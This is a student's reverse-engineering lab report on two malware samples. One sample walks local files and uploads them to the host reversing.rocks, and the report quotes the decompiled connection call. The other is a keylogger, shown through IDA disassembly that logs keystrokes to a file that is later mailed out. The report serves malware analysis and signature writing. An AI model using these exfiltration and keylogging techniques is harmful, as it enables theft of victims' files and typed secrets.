Lab 02 - Advanced Static Analysis 1120162015 李博

Lab_02-1.malware

- 1. (10%) Main function:
- a. What is the address of main?

0x4011A0

b. What does this function do?

判断能否连接 http://reversing.rocks/,若能则进入下一个函数,否则退出。

i. What code constructs are used in this function?

首先判断能否连接 http://reversing.rocks/,如果连接成功则进入函数 sub_401130,否则异常退出。

ii. Are there any interesting strings? If so, what are they?

http://reversing.rocks/

2. (15%) Looking at the subroutine a 0x00401130:

a. What are the arguments to InternetConnectA? What do they mean?

```
C++
void InternetConnectA(
 HINTERNET
               hInternet,
 LPCSTR
               lpszServerName,
 INTERNET_PORT nServerPort,
 LPCSTR
               lpszUserName,
               lpszPassword,
 LPCSTR
 DWORD
               dwService,
 DWORD
               dwFlags,
 DWORD_PTR
               dwContext
);
```

```
InternetConnectA(v0, "reversing.rocks", 1234u, 0, 0, 3u, 0, 0);
```

hInternet 是 InternetOpenA 函数返回的句柄,用于初始化程序对WinINet 函数的使用,这里的 v0 即 InternetOpenA 返回的句柄;

IpszServerName 代表**服务器的主机名**,这里指 "reversing.rocks";

nServerPort 代表服务器上的**传输控制协议/Internet 协议 (TCP/IP) 端口**, 这里指 1234;

IpszUserName 和 IpszPassword 代表登陆的**用户名和密码**,这里为空;

dwService 代表**所用服务的类型**,这里的 3 指 http 服务;

dwFlags 特定于所用服务的选项,dwContext 用于标识回调中返回 句柄的应用程序上下文。

b. What does this function do?

该函数用来连接主机名为 reversing.rocks 的服务器,若连接成功则进入函数 sub 401000。

i. What code constructs are used in this function?

连接 reversing.rocks, 端口号为 1234, 并进入函数 sub_401000。

3. (10%) Looking at the subroutine at 0x00401000:

a. What code constructs are used in this function?

首先在本机寻找符合通配符"//*"的文件,若无结果则异常退出。否则进行 http 的 post 请求,并上传本机文件至服务器。

b. What imported functions are called?

FindFirstFileA, HttpOpenRequestA, HttpEndRequestA, HttpSendRequestExA, InternetWriteFile, InternetCloseHandle, FindClose

c. What does this subroutine do?

遍历本机内的所有文件,并上传至服务器 reversing.rocks。

4. (15%) What does this malware do?

连接服务器 reversing.rocks, 遍历本机内的所有文件, 并上传。

Lab 02-2.malware

1. (15%) Main function:

a. What imported functions are called?

AllocConsole, FindWindowA, ShowWindow, fopen, fputs, fclose, time, ctime

i. What do these functions do?

AllocConsole 用于打开新的控制台,并显示调试信息;

FindWindowA 用于寻找名为 ConsoleWindowClass 的窗体;

ShowWindow 用于显示窗体;

Fopen, fputs, fclose 用于对文件的打开,写入和关闭。

Time 用于获取当前时间,ctime 用于转换 time 获得的秒数为标准时间的字符串。

ii. Any interesting strings?

"Started logging:"表示开始记录日志,说明后续操作中会不断进行写入文件。

2. (15%) Looking at the subroutine at 0x0040135C:

a. What imported functions are called?

GetAsyncKeyState

Fopen, fputc, fseek, fread, fclose

b. What code constructs are used here?

Hint: Look at the 'jmp eax' at 0x00401465, try to guess where that jump could potentially

take you

多个 if 分支

0x00401465 处的 jmp eax 即根据当前按键的值跳转到相应的写入文件的操作指令。

```
.rdata:00404120 off_404120
                                       dd offset loc_4014D0
                                                                     ; DATA XREF: get_keys(void)+102↑r
                                       dd offset loc_4014F3
dd offset loc_401852
dd offset loc_401852
 rdata:00404124
 rdata:00404128
 rdata:0040412C
 rdata:00404130
                                       dd offset loc_401852
                                       dd offset loc_4014AD
dd offset loc_401852
dd offset loc_401852
 rdata:00404134
 rdata:00404138
 rdata:0040413C
 rdata:00404140
                                       dd offset loc_40148A
                                      dd offset loc_401516
dd offset loc_401852
dd offset loc_401852
 rdata:00404144
 rdata:00404148
 rdata:0040414C
 rdata:00404150
                                       dd offset loc_401832
 rdata:00404154
                                      dd offset loc_401852
                                      dd offset loc_401852
dd offset loc_401852
 rdata:00404158
 rdata:0040415C
 rdata:00404160
                                       dd offset loc_401852
                                      dd offset <mark>loc_401852</mark>
 rdata:00404164
                                      dd offset loc_401852
dd offset loc_401852
 rdata:00404168
 rdata:0040416C
                                      dd offset loc_401852
dd offset loc_401852
 rdata:00404170
 rdata:00404174
                                      dd offset loc_401852
dd offset loc_401852
 rdata:00404178
 rdata:0040417C
 rdata:00404180
                                      dd offset loc_401467
 rdata:00404184
                                      dd offset <mark>loc_401852</mark>
                                      dd offset loc_401852
dd offset loc_401852
.rdata:00404188
.rdata:0040418C
 rdata:00404190
                                       dd offset loc_401852
                                                             ; DATA XREF: .rdata:off_404120↓o
.text:004014D0 loc_4014D0:
                                           eax, [ebp+File]
[esp+38h+Mode], eax; File
.text:004014D0
                                 mov
.text:004014D3
                                 mov
.text:004014D7
                                            [esp+38h+Filename], offset aBackspace ; "\r\n[BACKSPACE]\r\n'
.text:004014DE
                                  call
                                           eax, [ebp+File]
.text:004014E3
                                  mov
                                           [esp+38h+Filename], eax; File
.text:004014E6
                                  mov
.text:004014E9
                                           loc_40185D
.text:004014FF
.text:004014F3 ;
                                           ; DATA XREF: .rdata:00404124lo
eax, [ebp+File]
[esp+38b+M-47]
.text:004014F3
.text:004014F3 loc_4014F3:
.text:004014F3
                                 mov
                                           [esp+38h+Mode], eax; File
.text:004014F6
                                  mov
.text:004014FA
                                           [esp+38h+Filename], offset aTab ; "\r\n[TAB]\r\n"
                                  mov
.text:00401501
                                  call
.text:00401506
                                  mov
                                            eax, [ebp+<mark>File</mark>]
.text:00401509
                                           [esp+38h+Filename], eax; File
                                  mov
.text:0040150C
                                  call
.text:00401511
                                           loc_40185D
.text:00401516 ;
.text:00401516
                                                             ; DATA XREF: .rdata:00404144↓o
.text:00401516 loc_401516:
                                           eax, [ebp+<mark>File</mark>]
.text:00401516
                                            [esp+38h+Mode], eax ; File
.text:00401519
                                  mov
                                           [esp+38h+Filename], offset aCtrl ; "\r\n[CTRL]\r\n"
text:0040151D
                                 mov
.text:00401524
                                 call
                                            fputs
.text:00401529
                                  mov
                                           eax, [ebp+File]
.text:0040152C
                                           [esp+38h+Filename], eax; File
```

3. (20%) What does this malware do?

键盘记录器,当文件大小超过 100 字节时,调用函数 Maillt 进行邮件发送。

a. What signatures would you propose?

GetAsyncKeyState

i. Why are they useful signatures?

因为它能获取键盘按键是否被按下。

ii. Does the sample create any files? If so, what are they used for?

有进行创建文件的操作,文件路径为\\WINDOWS\\lzwindowlz.av。

该文件用于键盘按键的使用记录。